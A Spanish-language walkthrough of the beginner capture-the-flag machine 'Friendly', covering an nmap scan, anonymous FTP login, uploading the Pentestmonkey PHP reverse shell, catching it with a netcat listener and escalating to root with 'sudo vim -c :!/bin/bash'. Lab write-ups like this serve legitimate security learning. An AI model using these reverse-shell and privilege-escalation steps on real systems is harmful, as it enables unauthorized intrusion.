Friendly

En este caso realizaremos la nueva máquina de Rijaba1 (con esta ya van 3), pensada para todos los que comienzan con esto, por lo que será sencillita y rápida, donde aplicaremos una reverse shell.

Reconocimiento de Puertos

Como es habitual, empezaremos averiguando la IP de la máquina víctima y realizando el reconocimiento de puertos con un pequeño script que creé para automatizar este proceso inicial:

sudo nmapauto

 [*] La IP de la máquina víctima es 192.168.1.16

Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-15 13:02 CEST
Initiating ARP Ping Scan at 13:02
Scanning 192.168.1.16 [1 port]
Completed ARP Ping Scan at 13:02, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:02
Scanning 192.168.1.16 [65535 ports]
Discovered open port 21/tcp on 192.168.1.16
Discovered open port 80/tcp on 192.168.1.16
Completed SYN Stealth Scan at 13:02, 3.31s elapsed (65535 total ports)
Nmap scan report for 192.168.1.16
Host is up, received arp-response (0.00042s latency).
Scanned at 2023-04-15 13:02:41 CEST for 3s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 08:00:27:A2:9F:C0 (Oracle VirtualBox virtual NIC)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 3.53 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

 [*] Escaneo avanzado de servicios

Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-15 13:02 CEST
Nmap scan report for 192.168.1.16
Host is up (0.00021s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--   1 root     root        10725 Feb 23 15:26 index.html
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.54 (Debian)
MAC Address: 08:00:27:A2:9F:C0 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.78 seconds

 [*] Escaneo completado, se ha generado el fichero InfoPuertos 

Aquí podemos ver un detalle importante, y es que tenemos acceso anónimo vía FTP, lo que quiere decir que no necesitamos contraseña.

FTP anónimo

De esta forma, vamos a conectarnos:

export ip=192.168.1.16
❯ ftp $ip
Connected to 192.168.1.16.
220 ProFTPD Server (friendly) [::ffff:192.168.1.16]
Name (192.168.1.16:kaian): anonymous
331 Anonymous login ok, send your complete email address as your password
Password: 
230 Anonymous access granted, restrictions apply
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -l
229 Entering Extended Passive Mode (|||2428|)
150 Opening ASCII mode data connection for file list
-rw-r--r--   1 root     root        10725 Feb 23 15:26 index.html
226 Transfer complete

El index.html que figura es la página por defecto de Apache, así que vamos a subir una Reverse shell.

Reverse shell

Como siempre, utilizaremos la de Pentestmonkey que podemos descargar desde esa URL. En nuestro caso como usamos Kali, ya viene incluida:

❯ locate php-reverse-shell
/usr/share/laudanum/php/php-reverse-shell.php
/usr/share/laudanum/wordpress/templates/php-reverse-shell.php
/usr/share/seclists/Web-Shells/laudanum-0.8/php/php-reverse-shell.php
/usr/share/webshells/php/php-reverse-shell.php
❯ cp /usr/share/webshells/php/php-reverse-shell.php rev.php
❯ nano rev.php

Tras poner nuestra IP local de la máquina atacante en el fichero, lo subimos vía FTP:

ftp> put rev.php
local: rev.php remote: rev.php
229 Entering Extended Passive Mode (|||63738|)
150 Opening BINARY mode data connection for rev.php
100% |********************************************************************************************************************************************|  5495      131.01 MiB/s    00:00 ETA
226 Transfer complete
5495 bytes sent in 00:00 (11.07 MiB/s)
ftp> ls -l
229 Entering Extended Passive Mode (|||37939|)
150 Opening ASCII mode data connection for file list
-rw-r--r--   1 root     root        10725 Feb 23 15:26 index.html
-rw-r--r--   1 ftp      nogroup      5495 Apr 15 17:25 rev.php
226 Transfer complete
ftp> 

Ahora simplemente nos ponemos en escucha con Netcat y ejecutamos la reverse shell. Para ello, en un panel introducimos nc -nlvp 1234 y en otro curl http://$ip/rev.php (o directamente cargamos la URL desde el navegador):

❯ nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.1.150] from (UNKNOWN) [192.168.1.16] 36254
Linux friendly 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64 GNU/Linux
 13:29:12 up  3:02,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ pwd
/

Ahora vamos a realizar el tratamiento de la TTY y tras ello tratar de obtener la flag de user a ver si nos lo permite:

www-data@friendly:/$ cd /home
www-data@friendly:/home$ ls
RiJaba1
www-data@friendly:/home$ cd RiJaba1/
www-data@friendly:/home/RiJaba1$ ls -l
total 16
drwxr-xr-x 2 RiJaba1 RiJaba1 4096 Mar 11 04:18 CTF
drwxr-xr-x 2 RiJaba1 RiJaba1 4096 Mar 11 03:59 Private
drwxr-xr-x 2 RiJaba1 RiJaba1 4096 Feb 21 07:54 YouTube
-r--r--r-- 1 RiJaba1 RiJaba1   33 Mar 11 04:13 user.txt
www-data@friendly:/home/RiJaba1$ cat user.txt

Como se puede observar, la flag tiene permisos de lectura como otros, así que podemos leerla sin problemas.

De forma adicional, como vemos varios directorios, vamos a revisarlos:

www-data@friendly:/home/RiJaba1$ ls -lRa            
.:
total 24
drwxr-xr-x 5 RiJaba1 RiJaba1 4096 Mar 11 04:13 .
drwxr-xr-x 3 root    root    4096 Feb 21 07:50 ..
lrwxrwxrwx 1 RiJaba1 RiJaba1    9 Feb 23 10:18 .bash_history -> /dev/null
drwxr-xr-x 2 RiJaba1 RiJaba1 4096 Mar 11 04:18 CTF
drwxr-xr-x 2 RiJaba1 RiJaba1 4096 Mar 11 03:59 Private
drwxr-xr-x 2 RiJaba1 RiJaba1 4096 Feb 21 07:54 YouTube
-r--r--r-- 1 RiJaba1 RiJaba1   33 Mar 11 04:13 user.txt

./CTF:
total 12
drwxr-xr-x 2 RiJaba1 RiJaba1 4096 Mar 11 04:18 .
drwxr-xr-x 5 RiJaba1 RiJaba1 4096 Mar 11 04:13 ..
-r--r--r-- 1 RiJaba1 RiJaba1   21 Mar 11 04:18 ...

./Private:
total 12
drwxr-xr-x 2 RiJaba1 RiJaba1 4096 Mar 11 03:59 .
drwxr-xr-x 5 RiJaba1 RiJaba1 4096 Mar 11 04:13 ..
-r--r--r-- 1 RiJaba1 RiJaba1   45 Mar 11 03:59 targets.txt

./YouTube:
total 12
drwxr-xr-x 2 RiJaba1 RiJaba1 4096 Feb 21 07:54 .
drwxr-xr-x 5 RiJaba1 RiJaba1 4096 Mar 11 04:13 ..
-r--r--r-- 1 RiJaba1 RiJaba1   41 Feb 21 07:54 ideas.txt
www-data@friendly:/home/RiJaba1$ 

Podemos ver que el .bash_history es un enlace al agujero negro de Linux, así que si teníamos intención de revisar algún leak, por ahí no vamos bien jeje.

Respecto a los 3 directorios, todos tienen un fichero, vamos a leerlos:

www-data@friendly:/home/RiJaba1$ find -type f | grep -v user.txt | xargs cat
How did you find me?
U2hlbGxEcmVkZAp4ZXJvc2VjCnNNTApib3lyYXMyMDAK
What're you reading? Have you hacked me?

El fichero targets.txt parece estar codificado, vamos a ponerlo en claro:

www-data@friendly:/home/RiJaba1$ base64 -d < Private/targets.txt  
ShellDredd
xerosec
sML
boyras200

Pues vemos otro pequeño guiño de Rijaba1 a otros creadores de la comunidad 😉.

Tras esto, ahora sí, vamos a por la flag de root.

Escalada de privilegios

Como siempre empezaremos viendo la lista de comandos que podemos ejecutar como otro usuario. Me gustaría puntualizar que revisar esto siendo www-data no debería tener sentido en un entorno real porque dicho usuario no tiene shell. Es más, incluso en esta máquina no lo tiene:

www-data@friendly:/home/RiJaba1$ grep www /etc/passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
www-data@friendly:/home/RiJaba1$ sudo -l
Matching Defaults entries for www-data on friendly:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on friendly:
    (ALL : ALL) NOPASSWD: /usr/bin/vim

Con esto ya tenemos la escalada, pues desde vim podemos ejecutar una shell con el modo ex. Vamos a ayudarnos como siempre de https://gtfobins.github.io/gtfobins/vim/#sudo para ir a tiro fijo. De esta forma solo deberemos introducir sudo vim -c ':!/bin/bash' y seremos root.

root@friendly:/home/RiJaba1# cd /root
root@friendly:~# ls
interfaces.sh  root.txt
root@friendly:~# cat root.txt
Not yet! Find root.txt.

Nos tenía preparada una pequeña trampa jeje, bastará con buscarla con find:

Con esto finalizamos la máquina. Dar las gracias a Rijaba1 por la misma, me ha parecido una idea fantástica para poder aprender y practicar, pues no es sencillo encontrar máquinas realmente fáciles.